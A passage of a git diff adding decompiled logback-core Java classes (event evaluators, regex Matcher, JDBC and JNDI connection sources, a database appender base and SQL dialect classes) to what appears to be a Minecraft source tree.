+  public EventEvaluatorBase() {}
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public void setName(String name) {
+    if (this.name != null) {
+      throw new IllegalStateException("name has been already set");
+    }
+    this.name = name;
+  }
+  
+  public boolean isStarted() {
+    return started;
+  }
+  
+  public void start() {
+    started = true;
+  }
+  
+  public void stop() {
+    started = false;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/boolex/JaninoEventEvaluatorBase.java b/src/minecraft/ch/qos/logback/core/boolex/JaninoEventEvaluatorBase.java
new file mode 100644
index 0000000..64bed62
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/boolex/JaninoEventEvaluatorBase.java
@@ -0,0 +1,109 @@
+package ch.qos.logback.core.boolex;
+
+import java.util.ArrayList;
+import java.util.List;
+import org.codehaus.janino.ScriptEvaluator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class JaninoEventEvaluatorBase<E>
+  extends EventEvaluatorBase<E>
+{
+  static Class<?> EXPRESSION_TYPE;
+  static Class<?>[] THROWN_EXCEPTIONS;
+  public static final int ERROR_THRESHOLD = 4;
+  private String expression;
+  ScriptEvaluator scriptEvaluator;
+  
+  static
+  {
+    EXPRESSION_TYPE = Boolean.TYPE;
+    THROWN_EXCEPTIONS = new Class[1];
+    
+
+
+    THROWN_EXCEPTIONS[0] = EvaluationException.class;
+  }
+  
+
+
+
+  private int errorCount = 0;
+  
+
+
+
+
+
+
+
+
+  protected List<Matcher> matcherList = new ArrayList();
+  
+  public void start()
+  {
+    try {
+      assert (context != null);
+      scriptEvaluator = new ScriptEvaluator(getDecoratedExpression(), EXPRESSION_TYPE, getParameterNames(), getParameterTypes(), THROWN_EXCEPTIONS);
+      
+      super.start();
+    } catch (Exception e) {
+      addError("Could not start evaluator with expression [" + expression + "]", e);
+    }
+  }
+  
+  public boolean evaluate(E event) throws EvaluationException
+  {
+    if (!isStarted()) {
+      throw new IllegalStateException("Evaluator [" + name + "] was called in stopped state");
+    }
+    try
+    {
+      Boolean result = (Boolean)scriptEvaluator.evaluate(getParameterValues(event));
+      return result.booleanValue();
+    } catch (Exception ex) {
+      errorCount += 1;
+      if (errorCount >= 4) {
+        stop();
+      }
+      throw new EvaluationException("Evaluator [" + name + "] caused an exception", ex);
+    }
+  }
+  
+  public String getExpression()
+  {
+    return expression;
+  }
+  
+  public void setExpression(String expression) {
+    this.expression = expression;
+  }
+  
+  public void addMatcher(Matcher matcher) {
+    matcherList.add(matcher);
+  }
+  
+  public List<Matcher> getMatcherList() {
+    return matcherList;
+  }
+  
+  public JaninoEventEvaluatorBase() {}
+  
+  protected abstract String getDecoratedExpression();
+  
+  protected abstract String[] getParameterNames();
+  
+  protected abstract Class<?>[] getParameterTypes();
+  
+  protected abstract Object[] getParameterValues(E paramE);
+}
diff --git a/src/minecraft/ch/qos/logback/core/boolex/Matcher.java b/src/minecraft/ch/qos/logback/core/boolex/Matcher.java
new file mode 100644
index 0000000..a76e6a4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/boolex/Matcher.java
@@ -0,0 +1,125 @@
+package ch.qos.logback.core.boolex;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.LifeCycle;
+import java.util.regex.Pattern;
+import java.util.regex.PatternSyntaxException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Matcher
+  extends ContextAwareBase
+  implements LifeCycle
+{
+  private String regex;
+  private String name;
+  private boolean caseSensitive = true;
+  private boolean canonEq = false;
+  private boolean unicodeCase = false;
+  
+  private boolean start = false;
+  
+  public Matcher() {}
+  
+  public String getRegex() { return regex; }
+  
+  public void setRegex(String regex)
+  {
+    this.regex = regex;
+  }
+  
+  public void start() {
+    if (name == null) {
+      addError("All Matcher objects must be named");
+      return;
+    }
+    try {
+      int code = 0;
+      if (!caseSensitive) {
+        code |= 0x2;
+      }
+      if (canonEq) {
+        code |= 0x80;
+      }
+      if (unicodeCase) {
+        code |= 0x40;
+      }
+      
+
+
+      pattern = Pattern.compile(regex, code);
+      start = true;
+    } catch (PatternSyntaxException pse) {
+      addError("Failed to compile regex [" + regex + "]", pse);
+    }
+  }
+  
+  public void stop() {
+    start = false;
+  }
+  
+  public boolean isStarted() {
+    return start;
+  }
+  
+
+
+
+
+  private Pattern pattern;
+  
+
+
+  public boolean matches(String input)
+    throws EvaluationException
+  {
+    if (start) {
+      java.util.regex.Matcher matcher = pattern.matcher(input);
+      return matcher.find();
+    }
+    throw new EvaluationException("Matcher [" + regex + "] not started");
+  }
+  
+  public boolean isCanonEq()
+  {
+    return canonEq;
+  }
+  
+  public void setCanonEq(boolean canonEq) {
+    this.canonEq = canonEq;
+  }
+  
+  public boolean isCaseSensitive() {
+    return caseSensitive;
+  }
+  
+  public void setCaseSensitive(boolean caseSensitive) {
+    this.caseSensitive = caseSensitive;
+  }
+  
+  public boolean isUnicodeCase() {
+    return unicodeCase;
+  }
+  
+  public void setUnicodeCase(boolean unicodeCase) {
+    this.unicodeCase = unicodeCase;
+  }
+  
+  public String getName() {
+    return name;
+  }
+  
+  public void setName(String name) {
+    this.name = name;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/BindDataSourceToJNDIAction.java b/src/minecraft/ch/qos/logback/core/db/BindDataSourceToJNDIAction.java
new file mode 100644
index 0000000..990f9a3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/BindDataSourceToJNDIAction.java
@@ -0,0 +1,88 @@
+package ch.qos.logback.core.db;
+
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.util.PropertySetter;
+import ch.qos.logback.core.util.OptionHelper;
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.sql.DataSource;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BindDataSourceToJNDIAction
+  extends Action
+{
+  static final String DATA_SOURCE_CLASS = "dataSourceClass";
+  static final String URL = "url";
+  static final String USER = "user";
+  static final String PASSWORD = "password";
+  
+  public BindDataSourceToJNDIAction() {}
+  
+  public void begin(InterpretationContext ec, String localName, Attributes attributes)
+  {
+    String dsClassName = ec.getProperty("dataSourceClass");
+    
+    if (OptionHelper.isEmpty(dsClassName)) {
+      addWarn("dsClassName is a required parameter");
+      ec.addError("dsClassName is a required parameter");
+      
+      return;
+    }
+    
+    String urlStr = ec.getProperty("url");
+    String userStr = ec.getProperty("user");
+    String passwordStr = ec.getProperty("password");
+    try
+    {
+      DataSource ds = (DataSource)OptionHelper.instantiateByClassName(dsClassName, DataSource.class, context);
+      
+
+      PropertySetter setter = new PropertySetter(ds);
+      setter.setContext(context);
+      
+      if (!OptionHelper.isEmpty(urlStr)) {
+        setter.setProperty("url", urlStr);
+      }
+      
+      if (!OptionHelper.isEmpty(userStr)) {
+        setter.setProperty("user", userStr);
+      }
+      
+      if (!OptionHelper.isEmpty(passwordStr)) {
+        setter.setProperty("password", passwordStr);
+      }
+      
+      Context ctx = new InitialContext();
+      ctx.rebind("dataSource", ds);
+    } catch (Exception oops) {
+      addError("Could not bind  datasource. Reported error follows.", oops);
+      
+      ec.addError("Could not not bind  datasource of type [" + dsClassName + "].");
+    }
+  }
+  
+  public void end(InterpretationContext ec, String name) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/ConnectionSource.java b/src/minecraft/ch/qos/logback/core/db/ConnectionSource.java
new file mode 100644
index 0000000..bc573ab
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/ConnectionSource.java
@@ -0,0 +1,19 @@
+package ch.qos.logback.core.db;
+
+import ch.qos.logback.core.db.dialect.SQLDialectCode;
+import ch.qos.logback.core.spi.LifeCycle;
+import java.sql.Connection;
+import java.sql.SQLException;
+
+public abstract interface ConnectionSource
+  extends LifeCycle
+{
+  public abstract Connection getConnection()
+    throws SQLException;
+  
+  public abstract SQLDialectCode getSQLDialectCode();
+  
+  public abstract boolean supportsGetGeneratedKeys();
+  
+  public abstract boolean supportsBatchUpdates();
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/ConnectionSourceBase.java b/src/minecraft/ch/qos/logback/core/db/ConnectionSourceBase.java
new file mode 100644
index 0000000..c355494
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/ConnectionSourceBase.java
@@ -0,0 +1,129 @@
+package ch.qos.logback.core.db;
+
+import ch.qos.logback.core.db.dialect.DBUtil;
+import ch.qos.logback.core.db.dialect.SQLDialectCode;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.sql.Connection;
+import java.sql.DatabaseMetaData;
+import java.sql.SQLException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ConnectionSourceBase
+  extends ContextAwareBase
+  implements ConnectionSource
+{
+  private boolean started;
+  private String user = null;
+  private String password = null;
+  
+
+  private SQLDialectCode dialectCode = SQLDialectCode.UNKNOWN_DIALECT;
+  private boolean supportsGetGeneratedKeys = false;
+  private boolean supportsBatchUpdates = false;
+  
+
+  public ConnectionSourceBase() {}
+  
+
+  public void discoverConnectionProperties()
+  {
+    Connection connection = null;
+    try {
+      connection = getConnection();
+      if (connection == null) {
+        addWarn("Could not get a connection");
+      }
+      else {
+        DatabaseMetaData meta = connection.getMetaData();
+        DBUtil util = new DBUtil();
+        util.setContext(getContext());
+        supportsGetGeneratedKeys = util.supportsGetGeneratedKeys(meta);
+        supportsBatchUpdates = util.supportsBatchUpdates(meta);
+        dialectCode = DBUtil.discoverSQLDialect(meta);
+        addInfo("Driver name=" + meta.getDriverName());
+        addInfo("Driver version=" + meta.getDriverVersion());
+        addInfo("supportsGetGeneratedKeys=" + supportsGetGeneratedKeys);
+      }
+    } catch (SQLException se) {
+      addWarn("Could not discover the dialect to use.", se);
+    } finally {
+      DBHelper.closeConnection(connection);
+    }
+  }
+  
+
+
+  public final boolean supportsGetGeneratedKeys()
+  {
+    return supportsGetGeneratedKeys;
+  }
+  
+  public final SQLDialectCode getSQLDialectCode() {
+    return dialectCode;
+  }
+  
+
+
+  public final String getPassword()
+  {
+    return password;
+  }
+  
+
+
+
+  public final void setPassword(String password)
+  {
+    this.password = password;
+  }
+  
+
+
+  public final String getUser()
+  {
+    return user;
+  }
+  
+
+
+
+  public final void setUser(String username)
+  {
+    user = username;
+  }
+  
+
+
+  public final boolean supportsBatchUpdates()
+  {
+    return supportsBatchUpdates;
+  }
+  
+  public boolean isStarted() {
+    return started;
+  }
+  
+  public void start() {
+    started = true;
+  }
+  
+  public void stop() {
+    started = false;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/DBAppenderBase.java b/src/minecraft/ch/qos/logback/core/db/DBAppenderBase.java
new file mode 100644
index 0000000..3411b87
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/DBAppenderBase.java
@@ -0,0 +1,179 @@
+package ch.qos.logback.core.db;
+
+import ch.qos.logback.core.UnsynchronizedAppenderBase;
+import ch.qos.logback.core.db.dialect.DBUtil;
+import ch.qos.logback.core.db.dialect.SQLDialect;
+import ch.qos.logback.core.db.dialect.SQLDialectCode;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.sql.Connection;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.sql.Statement;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DBAppenderBase<E>
+  extends UnsynchronizedAppenderBase<E>
+{
+  protected ConnectionSource connectionSource;
+  protected boolean cnxSupportsGetGeneratedKeys = false;
+  protected boolean cnxSupportsBatchUpdates = false;
+  protected SQLDialect sqlDialect;
+  
+  public DBAppenderBase() {}
+  
+  protected abstract Method getGeneratedKeysMethod();
+  
+  protected abstract String getInsertSQL();
+  
+  public void start() {
+    if (connectionSource == null) {
+      throw new IllegalStateException("DBAppender cannot function without a connection source");
+    }
+    
+
+    sqlDialect = DBUtil.getDialectFromCode(connectionSource.getSQLDialectCode());
+    
+    if (getGeneratedKeysMethod() != null) {
+      cnxSupportsGetGeneratedKeys = connectionSource.supportsGetGeneratedKeys();
+    } else {
+      cnxSupportsGetGeneratedKeys = false;
+    }
+    cnxSupportsBatchUpdates = connectionSource.supportsBatchUpdates();
+    if ((!cnxSupportsGetGeneratedKeys) && (sqlDialect == null)) {
+      throw new IllegalStateException("DBAppender cannot function if the JDBC driver does not support getGeneratedKeys method *and* without a specific SQL dialect");
+    }
+    
+
+
+    super.start();
+  }
+  
+
+
+  public ConnectionSource getConnectionSource()
+  {
+    return connectionSource;
+  }
+  
+
+
+
+  public void setConnectionSource(ConnectionSource connectionSource)
+  {
+    this.connectionSource = connectionSource;
+  }
+  
+  public void append(E eventObject)
+  {
+    Connection connection = null;
+    PreparedStatement insertStatement = null;
+    try {
+      connection = connectionSource.getConnection();
+      connection.setAutoCommit(false);
+      
+      if (cnxSupportsGetGeneratedKeys) {
+        String EVENT_ID_COL_NAME = "EVENT_ID";
+        
+        if (connectionSource.getSQLDialectCode() == SQLDialectCode.POSTGRES_DIALECT) {
+          EVENT_ID_COL_NAME = EVENT_ID_COL_NAME.toLowerCase();
+        }
+        insertStatement = connection.prepareStatement(getInsertSQL(), new String[] { EVENT_ID_COL_NAME });
+      }
+      else {
+        insertStatement = connection.prepareStatement(getInsertSQL());
+      }
+      
+      long eventId;
+      
+      synchronized (this) {
+        subAppend(eventObject, connection, insertStatement);
+        eventId = selectEventId(insertStatement, connection);
+      }
+      secondarySubAppend(eventObject, connection, eventId);
+      
+      connection.commit();
+    } catch (Throwable sqle) {
+      addError("problem appending event", sqle);
+    } finally {
+      DBHelper.closeStatement(insertStatement);
+      DBHelper.closeConnection(connection);
+    }
+  }
+  
+  protected abstract void subAppend(E paramE, Connection paramConnection, PreparedStatement paramPreparedStatement)
+    throws Throwable;
+  
+  protected abstract void secondarySubAppend(E paramE, Connection paramConnection, long paramLong)
+    throws Throwable;
+  
+  protected long selectEventId(PreparedStatement insertStatement, Connection connection) throws SQLException, InvocationTargetException
+  {
+    ResultSet rs = null;
+    Statement idStatement = null;
+    try {
+      boolean gotGeneratedKeys = false;
+      if (cnxSupportsGetGeneratedKeys) {
+        try {
+          rs = (ResultSet)getGeneratedKeysMethod().invoke(insertStatement, (Object[])null);
+          
+          gotGeneratedKeys = true;
+        } catch (InvocationTargetException ex) {
+          Throwable target = ex.getTargetException();
+          if ((target instanceof SQLException)) {
+            throw ((SQLException)target);
+          }
+          throw ex;
+        } catch (IllegalAccessException ex) {
+          addWarn("IllegalAccessException invoking PreparedStatement.getGeneratedKeys", ex);
+        }
+      }
+      
+
+
+      if (!gotGeneratedKeys) {
+        idStatement = connection.createStatement();
+        idStatement.setMaxRows(1);
+        String selectInsertIdStr = sqlDialect.getSelectInsertId();
+        rs = idStatement.executeQuery(selectInsertIdStr);
+      }
+      
+
+
+      rs.next();
+      long eventId = rs.getLong(1);
+      return eventId;
+    } finally {
+      if (rs != null) {
+        try {
+          rs.close();
+        }
+        catch (SQLException e) {}
+      }
+      DBHelper.closeStatement(idStatement);
+    }
+  }
+  
+  public void stop()
+  {
+    super.stop();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/DBHelper.java b/src/minecraft/ch/qos/logback/core/db/DBHelper.java
new file mode 100644
index 0000000..50fbf6b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/DBHelper.java
@@ -0,0 +1,45 @@
+package ch.qos.logback.core.db;
+
+import java.sql.Connection;
+import java.sql.SQLException;
+import java.sql.Statement;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DBHelper
+{
+  public DBHelper() {}
+  
+  public static void closeConnection(Connection connection)
+  {
+    if (connection != null) {
+      try {
+        connection.close();
+      }
+      catch (SQLException sqle) {}
+    }
+  }
+  
+
+  public static void closeStatement(Statement statement)
+  {
+    if (statement != null) {
+      try {
+        statement.close();
+      }
+      catch (SQLException sqle) {}
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/DataSourceConnectionSource.java b/src/minecraft/ch/qos/logback/core/db/DataSourceConnectionSource.java
new file mode 100644
index 0000000..6599b03
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/DataSourceConnectionSource.java
@@ -0,0 +1,76 @@
+package ch.qos.logback.core.db;
+
+import ch.qos.logback.core.db.dialect.SQLDialectCode;
+import java.sql.Connection;
+import java.sql.SQLException;
+import javax.sql.DataSource;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DataSourceConnectionSource
+  extends ConnectionSourceBase
+{
+  private DataSource dataSource;
+  
+  public DataSourceConnectionSource() {}
+  
+  public void start()
+  {
+    if (dataSource == null) {
+      addWarn("WARNING: No data source specified");
+    } else {
+      discoverConnectionProperties();
+      if ((!supportsGetGeneratedKeys()) && (getSQLDialectCode() == SQLDialectCode.UNKNOWN_DIALECT))
+      {
+        addWarn("Connection does not support GetGeneratedKey method and could not discover the dialect.");
+      }
+    }
+    super.start();
+  }
+  
+
+  public Connection getConnection()
+    throws SQLException
+  {
+    if (dataSource == null) {
+      addError("WARNING: No data source specified");
+      return null;
+    }
+    
+    if (getUser() == null) {
+      return dataSource.getConnection();
+    }
+    return dataSource.getConnection(getUser(), getPassword());
+  }
+  
+  public DataSource getDataSource()
+  {
+    return dataSource;
+  }
+  
+  public void setDataSource(DataSource dataSource) {
+    this.dataSource = dataSource;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/DriverManagerConnectionSource.java b/src/minecraft/ch/qos/logback/core/db/DriverManagerConnectionSource.java
new file mode 100644
index 0000000..fba52fd
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/DriverManagerConnectionSource.java
@@ -0,0 +1,95 @@
+package ch.qos.logback.core.db;
+
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.SQLException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DriverManagerConnectionSource
+  extends ConnectionSourceBase
+{
+  private String driverClass = null;
+  private String url = null;
+  
+  public DriverManagerConnectionSource() {}
+  
+  public void start() { try { if (driverClass != null) {
+        Class.forName(driverClass);
+        discoverConnectionProperties();
+      } else {
+        addError("WARNING: No JDBC driver specified for logback DriverManagerConnectionSource.");
+      }
+    } catch (ClassNotFoundException cnfe) {
+      addError("Could not load JDBC driver class: " + driverClass, cnfe);
+    }
+  }
+  
+
+  public Connection getConnection()
+    throws SQLException
+  {
+    if (getUser() == null) {
+      return DriverManager.getConnection(url);
+    }
+    return DriverManager.getConnection(url, getUser(), getPassword());
+  }
+  
+
+
+
+
+
+  public String getUrl()
+  {
+    return url;
+  }
+  
+
+
+
+
+
+  public void setUrl(String url)
+  {
+    this.url = url;
+  }
+  
+
+
+
+
+  public String getDriverClass()
+  {
+    return driverClass;
+  }
+  
+
+
+
+
+
+  public void setDriverClass(String driverClass)
+  {
+    this.driverClass = driverClass;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/JNDIConnectionSource.java b/src/minecraft/ch/qos/logback/core/db/JNDIConnectionSource.java
new file mode 100644
index 0000000..46a2065
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/JNDIConnectionSource.java
@@ -0,0 +1,112 @@
+package ch.qos.logback.core.db;
+
+import java.sql.Connection;
+import java.sql.SQLException;
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.naming.NamingException;
+import javax.sql.DataSource;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JNDIConnectionSource
+  extends ConnectionSourceBase
+{
+  public JNDIConnectionSource() {}
+  
+  private String jndiLocation = null;
+  private DataSource dataSource = null;
+  
+  public void start() {
+    if (jndiLocation == null) {
+      addError("No JNDI location specified for JNDIConnectionSource.");
+    }
+    discoverConnectionProperties();
+  }
+  
+  public Connection getConnection() throws SQLException
+  {
+    Connection conn = null;
+    try {
+      if (dataSource == null) {
+        dataSource = lookupDataSource();
+      }
+      if (getUser() != null) {
+        addWarn("Ignoring property [user] with value [" + getUser() + "] for obtaining a connection from a DataSource.");
+      }
+      conn = dataSource.getConnection();
+    } catch (NamingException ne) {
+      addError("Error while getting data source", ne);
+      throw new SQLException("NamingException while looking up DataSource: " + ne.getMessage());
+    }
+    catch (ClassCastException cce) {
+      addError("ClassCastException while looking up DataSource.", cce);
+      throw new SQLException("ClassCastException while looking up DataSource: " + cce.getMessage());
+    }
+    
+
+    return conn;
+  }
+  
+
+
+
+
+  public String getJndiLocation()
+  {
+    return jndiLocation;
+  }
+  
+
+
+
+
+
+  public void setJndiLocation(String jndiLocation)
+  {
+    this.jndiLocation = jndiLocation;
+  }
+  
+  private DataSource lookupDataSource() throws NamingException, SQLException {
+    addInfo("Looking up [" + jndiLocation + "] in JNDI");
+    
+    Context initialContext = new InitialContext();
+    Object obj = initialContext.lookup(jndiLocation);
+    
+
+
+    DataSource ds = (DataSource)obj;
+    
+    if (ds == null) {
+      throw new SQLException("Failed to obtain data source from JNDI location " + jndiLocation);
+    }
+    
+    return ds;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/DBUtil.java b/src/minecraft/ch/qos/logback/core/db/dialect/DBUtil.java
new file mode 100644
index 0000000..6d46e69
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/DBUtil.java
@@ -0,0 +1,140 @@
+package ch.qos.logback.core.db.dialect;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.lang.reflect.Method;
+import java.sql.DatabaseMetaData;
+import java.sql.SQLException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DBUtil
+  extends ContextAwareBase
+{
+  private static final String POSTGRES_PART = "postgresql";
+  private static final String MYSQL_PART = "mysql";
+  private static final String ORACLE_PART = "oracle";
+  private static final String MSSQL_PART = "microsoft";
+  private static final String HSQL_PART = "hsql";
+  private static final String H2_PART = "h2";
+  private static final String SYBASE_SQLANY_PART = "sql anywhere";
+  private static final String SQLITE_PART = "sqlite";
+  
+  public DBUtil() {}
+  
+  public static SQLDialectCode discoverSQLDialect(DatabaseMetaData meta)
+  {
+    SQLDialectCode dialectCode = SQLDialectCode.UNKNOWN_DIALECT;
+    
+    try
+    {
+      String dbName = meta.getDatabaseProductName().toLowerCase();
+      
+      if (dbName.indexOf("postgresql") != -1)
+        return SQLDialectCode.POSTGRES_DIALECT;
+      if (dbName.indexOf("mysql") != -1)
+        return SQLDialectCode.MYSQL_DIALECT;
+      if (dbName.indexOf("oracle") != -1)
+        return SQLDialectCode.ORACLE_DIALECT;
+      if (dbName.indexOf("microsoft") != -1)
+        return SQLDialectCode.MSSQL_DIALECT;
+      if (dbName.indexOf("hsql") != -1)
+        return SQLDialectCode.HSQL_DIALECT;
+      if (dbName.indexOf("h2") != -1)
+        return SQLDialectCode.H2_DIALECT;
+      if (dbName.indexOf("sql anywhere") != -1)
+        return SQLDialectCode.SYBASE_SQLANYWHERE_DIALECT;
+      if (dbName.indexOf("sqlite") != -1) {
+        return SQLDialectCode.SQLITE_DIALECT;
+      }
+      return SQLDialectCode.UNKNOWN_DIALECT;
+    }
+    catch (SQLException sqle) {}
+    
+
+
+    return dialectCode;
+  }
+  
+  public static SQLDialect getDialectFromCode(SQLDialectCode sqlDialectType) {
+    SQLDialect sqlDialect = null;
+    
+    switch (1.$SwitchMap$ch$qos$logback$core$db$dialect$SQLDialectCode[sqlDialectType.ordinal()]) {
+    case 1: 
+      sqlDialect = new PostgreSQLDialect();
+      break;
+    
+    case 2: 
+      sqlDialect = new MySQLDialect();
+      break;
+    
+    case 3: 
+      sqlDialect = new OracleDialect();
+      break;
+    
+    case 4: 
+      sqlDialect = new MsSQLDialect();
+      break;
+    
+    case 5: 
+      sqlDialect = new HSQLDBDialect();
+      break;
+    
+    case 6: 
+      sqlDialect = new H2Dialect();
+      break;
+    
+    case 7: 
+      sqlDialect = new SybaseSqlAnywhereDialect();
+      break;
+    
+    case 8: 
+      sqlDialect = new SQLiteDialect();
+    }
+    
+    return sqlDialect;
+  }
+  
+
+
+
+
+
+
+  public boolean supportsGetGeneratedKeys(DatabaseMetaData meta)
+  {
+    try
+    {
+      return ((Boolean)DatabaseMetaData.class.getMethod("supportsGetGeneratedKeys", (Class[])null).invoke(meta, (Object[])null)).booleanValue();
+    }
+    catch (Throwable e)
+    {
+      addInfo("Could not call supportsGetGeneratedKeys method. This may be recoverable"); }
+    return false;
+  }
+  
+
+
+
+
+  public boolean supportsBatchUpdates(DatabaseMetaData meta)
+  {
+    try
+    {
+      return meta.supportsBatchUpdates();
+    } catch (Throwable e) {
+      addInfo("Missing DatabaseMetaData.supportsBatchUpdates method."); }
+    return false;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/H2Dialect.java b/src/minecraft/ch/qos/logback/core/db/dialect/H2Dialect.java
new file mode 100644
index 0000000..30b4158
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/H2Dialect.java
@@ -0,0 +1,27 @@
+package ch.qos.logback.core.db.dialect;
+
+
+
+
+
+
+public class H2Dialect
+  implements SQLDialect
+{
+  public static final String SELECT_CURRVAL = "CALL IDENTITY()";
+  
+
+
+
+
+  public H2Dialect() {}
+  
+
+
+
+
+  public String getSelectInsertId()
+  {
+    return "CALL IDENTITY()";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/HSQLDBDialect.java b/src/minecraft/ch/qos/logback/core/db/dialect/HSQLDBDialect.java
new file mode 100644
index 0000000..8719c31
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/HSQLDBDialect.java
@@ -0,0 +1,27 @@
+package ch.qos.logback.core.db.dialect;
+
+
+
+
+
+
+public class HSQLDBDialect
+  implements SQLDialect
+{
+  public static final String SELECT_CURRVAL = "CALL IDENTITY()";
+  
+
+
+
+
+  public HSQLDBDialect() {}
+  
+
+
+
+
+  public String getSelectInsertId()
+  {
+    return "CALL IDENTITY()";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/MsSQLDialect.java b/src/minecraft/ch/qos/logback/core/db/dialect/MsSQLDialect.java
new file mode 100644
index 0000000..9ce67f2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/MsSQLDialect.java
@@ -0,0 +1,30 @@
+package ch.qos.logback.core.db.dialect;
+
+
+
+
+
+
+
+public class MsSQLDialect
+  implements SQLDialect
+{
+  public static final String SELECT_CURRVAL = "SELECT @@identity id";
+  
+
+
+
+
+
+  public MsSQLDialect() {}
+  
+
+
+
+
+
+  public String getSelectInsertId()
+  {
+    return "SELECT @@identity id";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/MySQLDialect.java b/src/minecraft/ch/qos/logback/core/db/dialect/MySQLDialect.java
new file mode 100644
index 0000000..4fefa1f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/MySQLDialect.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.db.dialect;
+
+
+
+
+
+
+public class MySQLDialect
+  implements SQLDialect
+{
+  public static final String SELECT_LAST_INSERT_ID = "SELECT LAST_INSERT_ID()";
+  
+
+
+
+
+
+  public MySQLDialect() {}
+  
+
+
+
+
+  public String getSelectInsertId()
+  {
+    return "SELECT LAST_INSERT_ID()";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/OracleDialect.java b/src/minecraft/ch/qos/logback/core/db/dialect/OracleDialect.java
new file mode 100644
index 0000000..535663f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/OracleDialect.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.db.dialect;
+
+
+
+
+
+
+public class OracleDialect
+  implements SQLDialect
+{
+  public static final String SELECT_CURRVAL = "SELECT logging_event_id_seq.currval from dual";
+  
+
+
+
+
+
+  public OracleDialect() {}
+  
+
+
+
+
+  public String getSelectInsertId()
+  {
+    return "SELECT logging_event_id_seq.currval from dual";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/PostgreSQLDialect.java b/src/minecraft/ch/qos/logback/core/db/dialect/PostgreSQLDialect.java
new file mode 100644
index 0000000..4292fd8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/PostgreSQLDialect.java
@@ -0,0 +1,29 @@
+package ch.qos.logback.core.db.dialect;
+
+
+
+
+
+
+public class PostgreSQLDialect
+  implements SQLDialect
+{
+  public static final String SELECT_CURRVAL = "SELECT currval('logging_event_id_seq')";
+  
+
+
+
+
+
+  public PostgreSQLDialect() {}
+  
+
+
+
+
+
+  public String getSelectInsertId()
+  {
+    return "SELECT currval('logging_event_id_seq')";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/SQLDialect.java b/src/minecraft/ch/qos/logback/core/db/dialect/SQLDialect.java
new file mode 100644
index 0000000..8f33849
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/SQLDialect.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.db.dialect;
+
+public abstract interface SQLDialect
+{
+  public abstract String getSelectInsertId();
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/SQLDialectCode.java b/src/minecraft/ch/qos/logback/core/db/dialect/SQLDialectCode.java
new file mode 100644
index 0000000..4d2313d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/SQLDialectCode.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.core.db.dialect;
+
+public enum SQLDialectCode
+{
